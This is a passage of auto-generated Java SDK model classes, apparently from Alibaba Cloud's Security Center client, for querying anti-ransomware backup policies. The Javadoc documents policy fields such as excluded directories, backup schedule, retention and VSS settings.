* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>BE120DAB-F4E7-4C53-ADC3-A97578ABF384</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeBackupPoliciesResponseBody build() {
return new DescribeBackupPoliciesResponseBody(this);
}
}
/**
*
* {@link DescribeBackupPoliciesResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupPoliciesResponseBody</p>
*/
public static class PageInfo extends TeaModel {
@com.aliyun.core.annotation.NameInMap("Count")
private Integer count;
@com.aliyun.core.annotation.NameInMap("CurrentPage")
private Integer currentPage;
@com.aliyun.core.annotation.NameInMap("PageSize")
private Integer pageSize;
@com.aliyun.core.annotation.NameInMap("TotalCount")
private Integer totalCount;
private PageInfo(Builder builder) {
this.count = builder.count;
this.currentPage = builder.currentPage;
this.pageSize = builder.pageSize;
this.totalCount = builder.totalCount;
}
public static Builder builder() {
return new Builder();
}
public static PageInfo create() {
return builder().build();
}
/**
* @return count
*/
public Integer getCount() {
return this.count;
}
/**
* @return currentPage
*/
public Integer getCurrentPage() {
return this.currentPage;
}
/**
* @return pageSize
*/
public Integer getPageSize() {
return this.pageSize;
}
/**
* @return totalCount
*/
public Integer getTotalCount() {
return this.totalCount;
}
public static final class Builder {
private Integer count;
private Integer currentPage;
private Integer pageSize;
private Integer totalCount;
private Builder() {
}
private Builder(PageInfo model) {
this.count = model.count;
this.currentPage = model.currentPage;
this.pageSize = model.pageSize;
this.totalCount = model.totalCount;
}
/**
* <p>The number of entries returned on the current page.</p>
*
* <strong>example:</strong>
* <p>3</p>
*/
public Builder count(Integer count) {
this.count = count;
return this;
}
/**
* <p>The page number of the returned page.</p>
*
* <strong>example:</strong>
* <p>1</p>
*/
public Builder currentPage(Integer currentPage) {
this.currentPage = currentPage;
return this;
}
/**
* <p>The number of entries returned per page. Default value: 10.</p>
*
* <strong>example:</strong>
* <p>10</p>
*/
public Builder pageSize(Integer pageSize) {
this.pageSize = pageSize;
return this;
}
/**
* <p>The total number of anti-ransomware policies returned.</p>
*
* <strong>example:</strong>
* <p>30</p>
*/
public Builder totalCount(Integer totalCount) {
this.totalCount = totalCount;
return this;
}
public PageInfo build() {
return new PageInfo(this);
}
}
}
/**
*
* {@link DescribeBackupPoliciesResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupPoliciesResponseBody</p>
*/
public static class Policies extends TeaModel {
@com.aliyun.core.annotation.NameInMap("ClientErrorCount")
private Integer clientErrorCount;
@com.aliyun.core.annotation.NameInMap("ClientErrorUuidList")
private java.util.List<String> clientErrorUuidList;
@com.aliyun.core.annotation.NameInMap("ClientStatus")
private String clientStatus;
@com.aliyun.core.annotation.NameInMap("HealthClientCount")
private Integer healthClientCount;
@com.aliyun.core.annotation.NameInMap("HealthClientUuidList")
private java.util.List<String> healthClientUuidList;
@com.aliyun.core.annotation.NameInMap("Id")
private Long id;
@com.aliyun.core.annotation.NameInMap("LastStatusSyncTime")
private Long lastStatusSyncTime;
@com.aliyun.core.annotation.NameInMap("Name")
private String name;
@com.aliyun.core.annotation.NameInMap("Policy")
private String policy;
@com.aliyun.core.annotation.NameInMap("PolicyRegionId")
private String policyRegionId;
@com.aliyun.core.annotation.NameInMap("PolicyVersion")
private String policyVersion;
@com.aliyun.core.annotation.NameInMap("PreStatus")
private String preStatus;
@com.aliyun.core.annotation.NameInMap("RemarkedUuidList")
private java.util.List<String> remarkedUuidList;
@com.aliyun.core.annotation.NameInMap("ServerType")
private String serverType;
@com.aliyun.core.annotation.NameInMap("ServiceErrorCount")
private Integer serviceErrorCount;
@com.aliyun.core.annotation.NameInMap("ServiceErrorUuidList")
private java.util.List<String> serviceErrorUuidList;
@com.aliyun.core.annotation.NameInMap("Status")
private String status;
@com.aliyun.core.annotation.NameInMap("UpgradeStatus")
private String upgradeStatus;
@com.aliyun.core.annotation.NameInMap("UuidList")
private java.util.List<String> uuidList;
private Policies(Builder builder) {
this.clientErrorCount = builder.clientErrorCount;
this.clientErrorUuidList = builder.clientErrorUuidList;
this.clientStatus = builder.clientStatus;
this.healthClientCount = builder.healthClientCount;
this.healthClientUuidList = builder.healthClientUuidList;
this.id = builder.id;
this.lastStatusSyncTime = builder.lastStatusSyncTime;
this.name = builder.name;
this.policy = builder.policy;
this.policyRegionId = builder.policyRegionId;
this.policyVersion = builder.policyVersion;
this.preStatus = builder.preStatus;
this.remarkedUuidList = builder.remarkedUuidList;
this.serverType = builder.serverType;
this.serviceErrorCount = builder.serviceErrorCount;
this.serviceErrorUuidList = builder.serviceErrorUuidList;
this.status = builder.status;
this.upgradeStatus = builder.upgradeStatus;
this.uuidList = builder.uuidList;
}
public static Builder builder() {
return new Builder();
}
public static Policies create() {
return builder().build();
}
/**
* @return clientErrorCount
*/
public Integer getClientErrorCount() {
return this.clientErrorCount;
}
/**
* @return clientErrorUuidList
*/
public java.util.List<String> getClientErrorUuidList() {
return this.clientErrorUuidList;
}
/**
* @return clientStatus
*/
public String getClientStatus() {
return this.clientStatus;
}
/**
* @return healthClientCount
*/
public Integer getHealthClientCount() {
return this.healthClientCount;
}
/**
* @return healthClientUuidList
*/
public java.util.List<String> getHealthClientUuidList() {
return this.healthClientUuidList;
}
/**
* @return id
*/
public Long getId() {
return this.id;
}
/**
* @return lastStatusSyncTime
*/
public Long getLastStatusSyncTime() {
return this.lastStatusSyncTime;
}
/**
* @return name
*/
public String getName() {
return this.name;
}
/**
* @return policy
*/
public String getPolicy() {
return this.policy;
}
/**
* @return policyRegionId
*/
public String getPolicyRegionId() {
return this.policyRegionId;
}
/**
* @return policyVersion
*/
public String getPolicyVersion() {
return this.policyVersion;
}
/**
* @return preStatus
*/
public String getPreStatus() {
return this.preStatus;
}
/**
* @return remarkedUuidList
*/
public java.util.List<String> getRemarkedUuidList() {
return this.remarkedUuidList;
}
/**
* @return serverType
*/
public String getServerType() {
return this.serverType;
}
/**
* @return serviceErrorCount
*/
public Integer getServiceErrorCount() {
return this.serviceErrorCount;
}
/**
* @return serviceErrorUuidList
*/
public java.util.List<String> getServiceErrorUuidList() {
return this.serviceErrorUuidList;
}
/**
* @return status
*/
public String getStatus() {
return this.status;
}
/**
* @return upgradeStatus
*/
public String getUpgradeStatus() {
return this.upgradeStatus;
}
/**
* @return uuidList
*/
public java.util.List<String> getUuidList() {
return this.uuidList;
}
public static final class Builder {
private Integer clientErrorCount;
private java.util.List<String> clientErrorUuidList;
private String clientStatus;
private Integer healthClientCount;
private java.util.List<String> healthClientUuidList;
private Long id;
private Long lastStatusSyncTime;
private String name;
private String policy;
private String policyRegionId;
private String policyVersion;
private String preStatus;
private java.util.List<String> remarkedUuidList;
private String serverType;
private Integer serviceErrorCount;
private java.util.List<String> serviceErrorUuidList;
private String status;
private String upgradeStatus;
private java.util.List<String> uuidList;
private Builder() {
}
private Builder(Policies model) {
this.clientErrorCount = model.clientErrorCount;
this.clientErrorUuidList = model.clientErrorUuidList;
this.clientStatus = model.clientStatus;
this.healthClientCount = model.healthClientCount;
this.healthClientUuidList = model.healthClientUuidList;
this.id = model.id;
this.lastStatusSyncTime = model.lastStatusSyncTime;
this.name = model.name;
this.policy = model.policy;
this.policyRegionId = model.policyRegionId;
this.policyVersion = model.policyVersion;
this.preStatus = model.preStatus;
this.remarkedUuidList = model.remarkedUuidList;
this.serverType = model.serverType;
this.serviceErrorCount = model.serviceErrorCount;
this.serviceErrorUuidList = model.serviceErrorUuidList;
this.status = model.status;
this.upgradeStatus = model.upgradeStatus;
this.uuidList = model.uuidList;
}
/**
* <p>The number of the servers on which the anti-ransomware agent is in an abnormal state.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder clientErrorCount(Integer clientErrorCount) {
this.clientErrorCount = clientErrorCount;
return this;
}
/**
* <p>The UUIDs of the servers on which the anti-ransomware agent is in an <strong>abnormal</strong> state.</p>
*/
public Builder clientErrorUuidList(java.util.List<String> clientErrorUuidList) {
this.clientErrorUuidList = clientErrorUuidList;
return this;
}
/**
* <p>The status of the anti-ransomware agent. Valid values:</p>
* <ul>
* <li><strong>running</strong>: normal</li>
* <li><strong>exception</strong>: abnormal</li>
* </ul>
*
* <strong>example:</strong>
* <p>running</p>
*/
public Builder clientStatus(String clientStatus) {
this.clientStatus = clientStatus;
return this;
}
/**
* <p>The number of the servers on which the anti-ransomware agent is in a normal state.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder healthClientCount(Integer healthClientCount) {
this.healthClientCount = healthClientCount;
return this;
}
/**
* <p>The UUIDs of the servers on which the anti-ransomware agent is in a <strong>normal</strong> state.</p>
*/
public Builder healthClientUuidList(java.util.List<String> healthClientUuidList) {
this.healthClientUuidList = healthClientUuidList;
return this;
}
/**
* <p>The ID of the anti-ransomware policy.</p>
*
* <strong>example:</strong>
* <p>11</p>
*/
public Builder id(Long id) {
this.id = id;
return this;
}
/**
* <p>The time when the anti-ransomware policy was last updated. Unit: milliseconds.</p>
*
* <strong>example:</strong>
* <p>1719488535027</p>
*/
public Builder lastStatusSyncTime(Long lastStatusSyncTime) {
this.lastStatusSyncTime = lastStatusSyncTime;
return this;
}
/**
* <p>The name of the anti-ransomware policy.</p>
*
* <strong>example:</strong>
* <p>SecurityStrategy-20200303</p>
*/
public Builder name(String name) {
this.name = name;
return this;
}
/**
* <p>The configurations of the anti-ransomware policy. The value of this parameter is in the JSON format and contains the following fields:</p>
* <ul>
* <li><p><strong>IsDefault</strong>: the type of the anti-ransomware policy. Valid values:</p>
* <ul>
* <li><strong>1</strong>: recommended policy</li>
* <li><strong>0</strong>: custom policy</li>
* </ul>
* </li>
* <li><p><strong>Include</strong>: the format of the files that are protected. If the value of this field is [], all formats of files are protected.</p>
* </li>
* <li><p><strong>Source</strong>: the directory that is protected. If the value of this field is [], all directories are protected.</p>
* </li>
* <li><p><strong>ExcludeSystemPath</strong>: indicates whether a specified directory is excluded from the anti-ransomware policy. If the value of this field is <strong>true</strong>, a directory is excluded. If this field is left empty, no directories are excluded.</p>
* </li>
* <li><p><strong>Exclude</strong>: the directory that is excluded from the anti-ransomware policy. If the value of this field is [], no directories are excluded.</p>
* </li>
* <li><p><strong>Schedule</strong>: the start time and interval of a data backup task. We recommend that you specify a start time that begins during off-peak hours but does not start on the hour. Examples:</p>
* <ul>
* <li>If the value of this field is I|1583216092|P21D, the data backup task starts from 2020-03-03 14:14:52, and the task is run at an interval of three weeks.</li>
* <li>If the value of this field is I|1583216092|PT24H, the data backup task starts from 2020-03-03 14:14:52, and the task is run at an interval of 24 hours.</li>
* </ul>
* </li>
* <li><p><strong>Retention</strong>: the period during which backup data is retained. Unit: days. If the value of this field is 7, backup data is retained for a week. If the value of this field is 365, backup data is retained for a year. If the value of this field is -1, backup data is permanently retained.</p>
* </li>
* <li><p><strong>SpeedLimiter</strong>: the limit on the network bandwidth for data backup tasks. If the value of this field is 0:24:30720, the maximum bandwidth for a data backup task is 30 MB/s from 00:00 to 24:00.</p>
* </li>
* <li><p><strong>UseVss</strong>: indicates whether the VSS feature is enabled. The feature is available only for Windows servers. Valid values:</p>
* <ul>
* <li><strong>true</strong></li>
* <li><strong>false</strong></li>
* </ul>
* </li>
* </ul>
* <blockquote>
* <p> The VSS feature is available only if you create the anti-ransomware policy for Windows servers. After you enable the feature, the number of backup failures due to running processes is significantly reduced. We recommend that you enable the VSS feature. After you enable the feature, the data of disks that are in the exFAT and FAT32 formats cannot be backed up.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>{"Exclude":["/bin/","/usr/bin/","/sbin/","/boot/","/proc/","/sys/","/srv/","/lib/","/selinux/","/usr/sbin/","/run/","/lib32/","/lib64/","/lost+found/","/var/lib/kubelet/","/var/lib/ntp/proc","/var/lib/container","Windows\","Python27\","Program Files (x86)\","Program Files\","Boot\","$RECYCLE.BIN","System Volume Information\","Users\Administrator\NTUSER.DAT*","ProgramData\","pagefile.sys","Users\Default\NTUSER.DAT*","Users\Administrator\ntuser.*"],"ExcludeSystemPath":true,"Include":[],"IsDefault":1,"Retention":7,"Schedule":"I|1630689360|PT24H","Source":[],"SpeedLimiter":"","UseVss":true}</p>
*/
public Builder policy(String policy) {
this.policy = policy;
return this;
}
/**
* <p>The ID of the region that you specified for data backup when you installed the anti-ransomware agent for the server not deployed on Alibaba Cloud.</p>
*
* <strong>example:</strong>
* <p>ch-hangzhou</p>
*/
public Builder policyRegionId(String policyRegionId) {
this.policyRegionId = policyRegionId;
return this;
}
/**
* <p>The version of the anti-ransomware policy. Valid values:</p>
* <ul>
* <li>1.0.0</li>
* <li>2.0.0</li>
* </ul>
*
* <strong>example:</strong>
* <p>2.0.0</p>
*/
public Builder policyVersion(String policyVersion) {
this.policyVersion = policyVersion;
return this;
}
/**
* <p>The previous status of the anti-ransomware policy. Valid values:</p>
* <ul>
* <li><strong>enabled</strong>: The anti-ransomware policy is manually enabled.</li>
* <li><strong>disabled</strong>: The anti-ransomware policy is manually disabled. After an anti-ransomware policy is disabled, the data backup task that is running based on the policy stops.</li>
* <li><strong>closed</strong>: The anti-ransomware policy automatically stops because the anti-ransomware capacity is insufficient.</li>
* </ul>
*
* <strong>example:</strong>
* <p>disabled</p>
*/
public Builder preStatus(String preStatus) {
this.preStatus = preStatus;
return this;
}
/**
* <p>The UUIDs that are returned based on the value of the MachineRemark request parameter.</p>
*/
public Builder remarkedUuidList(java.util.List<String> remarkedUuidList) {
this.remarkedUuidList = remarkedUuidList;
return this;
}
/**
* <p>The type of the server. Valid values:</p>
* <ul>
* <li><strong>OUT_CLOUD</strong>: server not deployed on Alibaba Cloud</li>
* <li><strong>ALIYUN</strong>: Elastic Compute Service (ECS) instance</li>
* <li><strong>TRIPARTITE</strong>: simple application server</li>
* </ul>
*
* <strong>example:</strong>
* <p>OUT_CLOUD</p>
*/
public Builder serverType(String serverType) {
this.serverType = serverType;
return this;
}
/**
* <p>The number of servers on which data backup is exceptional.</p>
*
* <strong>example:</strong>
* <p>2</p>
*/
public Builder serviceErrorCount(Integer serviceErrorCount) {
this.serviceErrorCount = serviceErrorCount;
return this;
}
/**
* <p>The UUIDs of the servers on which data backup is exceptional.</p>
*/
public Builder serviceErrorUuidList(java.util.List<String> serviceErrorUuidList) {
this.serviceErrorUuidList = serviceErrorUuidList;
return this;
}
/**
* <p>The status of the anti-ransomware policy. Valid values:</p>
* <ul>
* <li><strong>enabled</strong>: The anti-ransomware policy is manually enabled.</li>
* <li><strong>disabled</strong>: The anti-ransomware policy is manually disabled. After an anti-ransomware policy is disabled, the data backup task that is running based on the policy stops.</li>
* <li><strong>closed</strong>: The anti-ransomware policy automatically stops because the anti-ransomware capacity is insufficient.</li>
* </ul>
*
* <strong>example:</strong>
* <p>enabled</p>
*/
public Builder status(String status) {
this.status = status;
return this;
}
/**
* <p>The upgrade status of the anti-ransomware policy. Valid values:</p>
* <ul>
* <li><strong>NotUpgraded</strong></li>
* <li><strong>Upgrading</strong></li>
* <li><strong>UpgradeFailed</strong></li>
* <li><strong>UpgradeSuccess</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>Upgrading</p>
*/
public Builder upgradeStatus(String upgradeStatus) {
this.upgradeStatus = upgradeStatus;
return this;
}
/**
* <p>The UUIDs of the servers to which the anti-ransomware policy is applied.</p>
*/
public Builder uuidList(java.util.List<String> uuidList) {
this.uuidList = uuidList;
return this;
}
public Policies build() {
return new Policies(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupPolicyRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupPolicyRequest} extends {@link RequestModel}
*
* <p>DescribeBackupPolicyRequest</p>
*/
public class DescribeBackupPolicyRequest extends Request {
@com.aliyun.core.annotation.Query
@com.aliyun.core.annotation.NameInMap("Id")
@com.aliyun.core.annotation.Validation(required = true)
private Long id;
private DescribeBackupPolicyRequest(Builder builder) {
super(builder);
this.id = builder.id;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBackupPolicyRequest create() {
return builder().build();
}
@Override
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return id
*/
public Long getId() {
return this.id;
}
public static final class Builder extends Request.Builder<DescribeBackupPolicyRequest, Builder> {
private Long id;
private Builder() {
super();
}
private Builder(DescribeBackupPolicyRequest request) {
super(request);
this.id = request.id;
}
/**
* <p>The ID of the anti-ransomware policy.</p>
* <blockquote>
* <p> You can call the <a href="~~DescribeBackupPolicies~~">DescribeBackupPolicies</a> operation to query the IDs of anti-ransomware policies.</p>
* </blockquote>
* <p>This parameter is required.</p>
*
* <strong>example:</strong>
* <p>51880</p>
*/
public Builder id(Long id) {
this.putQueryParameter("Id", id);
this.id = id;
return this;
}
@Override
public DescribeBackupPolicyRequest build() {
return new DescribeBackupPolicyRequest(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupPolicyResponse.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupPolicyResponse} extends {@link TeaModel}
*
* <p>DescribeBackupPolicyResponse</p>
*/
public class DescribeBackupPolicyResponse extends Response {
@com.aliyun.core.annotation.NameInMap("headers")
private java.util.Map<String, String> headers;
@com.aliyun.core.annotation.NameInMap("statusCode")
private Integer statusCode;
@com.aliyun.core.annotation.NameInMap("body")
private DescribeBackupPolicyResponseBody body;
private DescribeBackupPolicyResponse(BuilderImpl builder) {
super(builder);
this.headers = builder.headers;
this.statusCode = builder.statusCode;
this.body = builder.body;
}
public static DescribeBackupPolicyResponse create() {
return new BuilderImpl().build();
}
@Override
public Builder toBuilder() {
return new BuilderImpl(this);
}
/**
* @return headers
*/
public java.util.Map<String, String> getHeaders() {
return this.headers;
}
/**
* @return statusCode
*/
public Integer getStatusCode() {
return this.statusCode;
}
/**
* @return body
*/
public DescribeBackupPolicyResponseBody getBody() {
return this.body;
}
public interface Builder extends Response.Builder<DescribeBackupPolicyResponse, Builder> {
Builder headers(java.util.Map<String, String> headers);
Builder statusCode(Integer statusCode);
Builder body(DescribeBackupPolicyResponseBody body);
@Override
DescribeBackupPolicyResponse build();
}
private static final class BuilderImpl
extends Response.BuilderImpl<DescribeBackupPolicyResponse, Builder>
implements Builder {
private java.util.Map<String, String> headers;
private Integer statusCode;
private DescribeBackupPolicyResponseBody body;
private BuilderImpl() {
super();
}
private BuilderImpl(DescribeBackupPolicyResponse response) {
super(response);
this.headers = response.headers;
this.statusCode = response.statusCode;
this.body = response.body;
}
/**
* headers.
*/
@Override
public Builder headers(java.util.Map<String, String> headers) {
this.headers = headers;
return this;
}
/**
* statusCode.
*/
@Override
public Builder statusCode(Integer statusCode) {
this.statusCode = statusCode;
return this;
}
/**
* body.
*/
@Override
public Builder body(DescribeBackupPolicyResponseBody body) {
this.body = body;
return this;
}
@Override
public DescribeBackupPolicyResponse build() {
return new DescribeBackupPolicyResponse(this);
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupPolicyResponseBody.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupPolicyResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupPolicyResponseBody</p>
*/
public class DescribeBackupPolicyResponseBody extends TeaModel {
@com.aliyun.core.annotation.NameInMap("BackupPolicyDetail")
private BackupPolicyDetail backupPolicyDetail;
@com.aliyun.core.annotation.NameInMap("RequestId")
private String requestId;
private DescribeBackupPolicyResponseBody(Builder builder) {
this.backupPolicyDetail = builder.backupPolicyDetail;
this.requestId = builder.requestId;
}
public static Builder builder() {
return new Builder();
}
public static DescribeBackupPolicyResponseBody create() {
return builder().build();
}
public Builder toBuilder() {
return new Builder(this);
}
/**
* @return backupPolicyDetail
*/
public BackupPolicyDetail getBackupPolicyDetail() {
return this.backupPolicyDetail;
}
/**
* @return requestId
*/
public String getRequestId() {
return this.requestId;
}
public static final class Builder {
private BackupPolicyDetail backupPolicyDetail;
private String requestId;
private Builder() {
}
private Builder(DescribeBackupPolicyResponseBody model) {
this.backupPolicyDetail = model.backupPolicyDetail;
this.requestId = model.requestId;
}
/**
* <p>The details of the anti-ransomware policy.</p>
*/
public Builder backupPolicyDetail(BackupPolicyDetail backupPolicyDetail) {
this.backupPolicyDetail = backupPolicyDetail;
return this;
}
/**
* <p>The ID of the request, which is used to locate and troubleshoot issues.</p>
*
* <strong>example:</strong>
* <p>A4EB8B1C-1DEC-5E18-BCD0-D1BBB3936FA7</p>
*/
public Builder requestId(String requestId) {
this.requestId = requestId;
return this;
}
public DescribeBackupPolicyResponseBody build() {
return new DescribeBackupPolicyResponseBody(this);
}
}
/**
*
* {@link DescribeBackupPolicyResponseBody} extends {@link TeaModel}
*
* <p>DescribeBackupPolicyResponseBody</p>
*/
public static class BackupPolicyDetail extends TeaModel {
@com.aliyun.core.annotation.NameInMap("ClientStatus")
private String clientStatus;
@com.aliyun.core.annotation.NameInMap("Id")
private Long id;
@com.aliyun.core.annotation.NameInMap("Name")
private String name;
@com.aliyun.core.annotation.NameInMap("Policy")
private String policy;
@com.aliyun.core.annotation.NameInMap("PolicyVersion")
private String policyVersion;
@com.aliyun.core.annotation.NameInMap("RegionId")
private String regionId;
@com.aliyun.core.annotation.NameInMap("Status")
private String status;
@com.aliyun.core.annotation.NameInMap("UuidList")
private java.util.List<String> uuidList;
private BackupPolicyDetail(Builder builder) {
this.clientStatus = builder.clientStatus;
this.id = builder.id;
this.name = builder.name;
this.policy = builder.policy;
this.policyVersion = builder.policyVersion;
this.regionId = builder.regionId;
this.status = builder.status;
this.uuidList = builder.uuidList;
}
public static Builder builder() {
return new Builder();
}
public static BackupPolicyDetail create() {
return builder().build();
}
/**
* @return clientStatus
*/
public String getClientStatus() {
return this.clientStatus;
}
/**
* @return id
*/
public Long getId() {
return this.id;
}
/**
* @return name
*/
public String getName() {
return this.name;
}
/**
* @return policy
*/
public String getPolicy() {
return this.policy;
}
/**
* @return policyVersion
*/
public String getPolicyVersion() {
return this.policyVersion;
}
/**
* @return regionId
*/
public String getRegionId() {
return this.regionId;
}
/**
* @return status
*/
public String getStatus() {
return this.status;
}
/**
* @return uuidList
*/
public java.util.List<String> getUuidList() {
return this.uuidList;
}
public static final class Builder {
private String clientStatus;
private Long id;
private String name;
private String policy;
private String policyVersion;
private String regionId;
private String status;
private java.util.List<String> uuidList;
private Builder() {
}
private Builder(BackupPolicyDetail model) {
this.clientStatus = model.clientStatus;
this.id = model.id;
this.name = model.name;
this.policy = model.policy;
this.policyVersion = model.policyVersion;
this.regionId = model.regionId;
this.status = model.status;
this.uuidList = model.uuidList;
}
/**
* <p>The status of the anti-ransomware agent. Valid values:</p>
* <ul>
* <li><strong>running</strong>: normal</li>
* <li><strong>exception</strong>: abnormal</li>
* </ul>
*
* <strong>example:</strong>
* <p>running</p>
*/
public Builder clientStatus(String clientStatus) {
this.clientStatus = clientStatus;
return this;
}
/**
* <p>The ID of the anti-ransomware policy.</p>
*
* <strong>example:</strong>
* <p>51880</p>
*/
public Builder id(Long id) {
this.id = id;
return this;
}
/**
* <p>The name of the anti-ransomware policy.</p>
*
* <strong>example:</strong>
* <p>testBuckUp</p>
*/
public Builder name(String name) {
this.name = name;
return this;
}
/**
* <ul>
* <li><p><strong>IsDefault</strong>: the type of the anti-ransomware policy. Valid values:</p>
* <ul>
* <li><strong>1</strong>: recommended policy</li>
* <li><strong>0</strong>: custom policy</li>
* </ul>
* </li>
* <li><p><strong>Include</strong>: the format of the files that you want to protect. If you want to protect the files in all formats, set this field to [].</p>
* </li>
* <li><p><strong>Source</strong>: the directory that you want to protect. If you want to protect all directories, set this field to [].</p>
* </li>
* <li><p><strong>ExcludeSystemPath</strong>: specifies whether to exclude a specific directory from the anti-ransomware policy. If you want to exclude a directory, set this field to <strong>true</strong>. If you do not want to exclude a directory, leave this field empty.</p>
* </li>
* <li><p><strong>Exclude</strong>: the directory that you want to exclude from the anti-ransomware policy. If you do not want to exclude a directory, set this field to [].</p>
* </li>
* <li><p><strong>Schedule</strong>: the start time and interval of a data backup task. We recommend that you specify a start time that begins during off-peak hours but does not start on the hour. Examples:</p>
* <ul>
* <li>If you set this field to I|1583216092|P21D, the data backup task starts from 2020-03-03 14:14:52, and the task is run at an interval of three weeks.</li>
* <li>If you set this field to I|1583216092|PT24H, the data backup task starts from 2020-03-03 14:14:52, and the task is run at an interval of 24 hours.</li>
* </ul>
* </li>
* <li><p><strong>Retention</strong>: the period during which backup data is retained. Unit: days. If you set this field to 7, backup data is retained for a week. If you set this field to 365, backup data is retained for a year. If you set this field to -1, backup data is permanently retained.</p>
* </li>
* <li><p><strong>SpeedLimiter</strong>: the limit on the network bandwidth for data backup tasks. If you set this field to 0:24:30720, the maximum bandwidth for a data backup task is 30 MB/s from 00:00 to 24:00.</p>
* </li>
* <li><p><strong>UseVss</strong>: specifies whether to enable the VSS feature. The feature is available only for Windows servers. Valid values:</p>
* <ul>
* <li><strong>true</strong>: yes</li>
* <li><strong>false</strong>: no</li>
* </ul>
* </li>
* </ul>
* <blockquote>
* <p> The VSS feature is available only if you create the anti-ransomware policy for Windows servers. After you enable the feature, the number of backup failures due to running processes is significantly reduced. We recommend that you enable the VSS feature. After you enable the feature, the data of disks that are in the exFAT and FAT32 formats cannot be backed up.</p>
* </blockquote>
*
* <strong>example:</strong>
* <p>{
* "Exclude": [
* "/bin/",
* "/usr/bin/",
* "/sbin/",
* "/boot/",
* "/proc/",
* "/sys/",
* "/srv/",
* "/lib/",
* "/selinux/",
* "/usr/sbin/",
* "/run/",
* "/lib32/",
* "/lib64/",
* "/lost+found/",
* "/var/lib/kubelet/",
* "/var/lib/ntp/proc",
* "/var/lib/container",
* "Windows\",
* "Python27\",
* "Program Files (x86)\",
* "Program Files\",
* "Boot\",
* "$RECYCLE.BIN",
* "System Volume Information\",
* "Users\Administrator\NTUSER.DAT*",
* "ProgramData\",
* "pagefile.sys",
* "Users\Default\NTUSER.DAT*",
* "Users\Administrator\ntuser.*"
* ],
* "ExcludeSystemPath": true,
* "Include": [],
* "IsDefault": 1,
* "Retention": 7,
* "Schedule": "I|1630689360|PT24H",
* "Source": [],
* "SpeedLimiter": "",
* "UseVss": true
* }</p>
*/
public Builder policy(String policy) {
this.policy = policy;
return this;
}
/**
* <p>The version of the anti-ransomware policy.</p>
* <ul>
* <li><strong>1.0.0</strong></li>
* <li><strong>2.0.0</strong></li>
* </ul>
*
* <strong>example:</strong>
* <p>2.0.0</p>
*/
public Builder policyVersion(String policyVersion) {
this.policyVersion = policyVersion;
return this;
}
/**
* <p>The ID of the region in which backup data is stored.</p>
*
* <strong>example:</strong>
* <p>cn-beijing</p>
*/
public Builder regionId(String regionId) {
this.regionId = regionId;
return this;
}
/**
* <p>The status of the anti-ransomware policy. Valid values:</p>
* <ul>
* <li><strong>enabled</strong>: The anti-ransomware policy is manually enabled.</li>
* <li><strong>disabled</strong>: The anti-ransomware policy is manually disabled. After an anti-ransomware policy is disabled, the data backup task that is running based on the policy stops.</li>
* <li><strong>closed</strong>: The anti-ransomware policy automatically stops because the anti-ransomware capacity is insufficient.</li>
* </ul>
*
* <strong>example:</strong>
* <p>closed</p>
*/
public Builder status(String status) {
this.status = status;
return this;
}
/**
* <p>An array consisting of the UUIDs of the servers to which the anti-ransomware policy is applied.</p>
*/
public Builder uuidList(java.util.List<String> uuidList) {
this.uuidList = uuidList;
return this;
}
public BackupPolicyDetail build() {
return new BackupPolicyDetail(this);
}
}
}
}
|
0 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203 | java-sources/com/aliyun/alibabacloud-sas20181203/5.0.1/com/aliyun/sdk/service/sas20181203/models/DescribeBackupRestoreCountRequest.java | // This file is auto-generated, don't edit it. Thanks.
package com.aliyun.sdk.service.sas20181203.models;
import com.aliyun.sdk.gateway.pop.*;
import darabonba.core.*;
import darabonba.core.async.*;
import darabonba.core.sync.*;
import darabonba.core.client.*;
import darabonba.core.RequestModel;
import darabonba.core.TeaModel;
import com.aliyun.sdk.gateway.pop.models.*;
/**
*
* {@link DescribeBackupRestoreCountRequest} extends {@link RequestModel}
*
* <p>DescribeBackupRestoreCountRequest</p>
*/
public class DescribeBackupRestoreCountRequest extends Request {
private DescribeBackupRestoreCountRequest(Builder builder) {
super(builder);
}
public static Builder builder() {
return new Builder();
}
public static DescribeBackupRestoreCountRequest create() {
return builder().build();
}
@Override
